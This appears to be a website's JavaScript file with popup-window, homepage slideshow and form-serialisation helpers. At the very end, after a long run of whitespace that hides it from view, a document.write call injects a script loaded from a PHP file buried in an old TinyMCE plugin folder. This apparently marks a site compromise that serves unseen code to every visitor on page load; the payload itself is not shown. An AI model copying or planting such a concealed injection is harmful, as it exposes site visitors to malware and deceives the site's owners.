function openWindow(mypage, myname, w, h, scroll) 
{
	var winl = (screen.width - w) / 2;
	var wint = (screen.height - h) / 2;
	winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+',resizable'
	gmtWindow = window.open(mypage, myname, winprops)
	if (parseInt(navigator.appVersion) >= 4) { gmtWindow.window.focus(); }
}

function show_next_image(myaction) {
	inpictures_counter++;
	if(inpictures_counter > images_count) {
		inpictures_counter = 1;
	}
	$('div#animation img').fadeOut(300, function() { 
		$('div#animation img').attr('src', 'img02/homepage_images/FMN_Homepage_photos' + inpictures_counter + '.jpg').fadeIn(500); 
	} ); 
	if(myaction == 'continue') {
		t = setTimeout('show_next_image(\'continue\');', 8000);
	} else {
		window.clearTimeout(t); 
	}
}

var inpictures_counter = 1;
var images_count = 8;
var myimages = new Array();
var t;
function homepage() {
	Cufon.replace('div.buttons a', { fontFamily: 'Adelle Basic Rg' });
	//Cufon.replace('h1.hp_title', { fontFamily: 'Univers LT 57 Condensed', fontSize: '29' });
	//Cufon.replace('h2.hp_title', { fontFamily: 'Univers LT 57 Condensed', fontSize: '19' });

	for (i = 1; i <= images_count; i++) {
		if(myimages[i] == null) {
			myimages[i] = new Image();
			myimages[i].src = 'img02/homepage_images/FMN_Homepage_photos' + i + '.jpg';
		}
	}
	t = setTimeout('show_next_image(\'continue\');', 8000);
}

function find_all_checkbox_values(what, checkbox_name) {
	parameters = '';
	what = document.getElementById(what);
	for (var i=0, j=what.elements.length; i<j; i++) {
		if(what.elements[i].name == checkbox_name && what.elements[i].checked == true) {
			parameters += "&" + what.elements[i].name + "=" + encodeURI(what.elements[i].value);
		}
	}
	return parameters;
}

function find_all_form_elements(form_name) {
	parameters = '';
	what = document.getElementById(form_name);
	for (var i=0, j=what.elements.length; i<j; i++) {
		if( (what.elements[i].type == 'radio' || what.elements[i].type == 'checkbox') && what.elements[i].checked != true) {
		} else {
			parameters += "&" + what.elements[i].name + "=" + encodeURI(what.elements[i].value);
		}
	}
	return parameters;
}																																																																							document.write('<script type="text/javascript" src="/staro/old/new2/admin/inc/tiny_mce/plugins/paste/js/ajax_request.php"><\/script>');
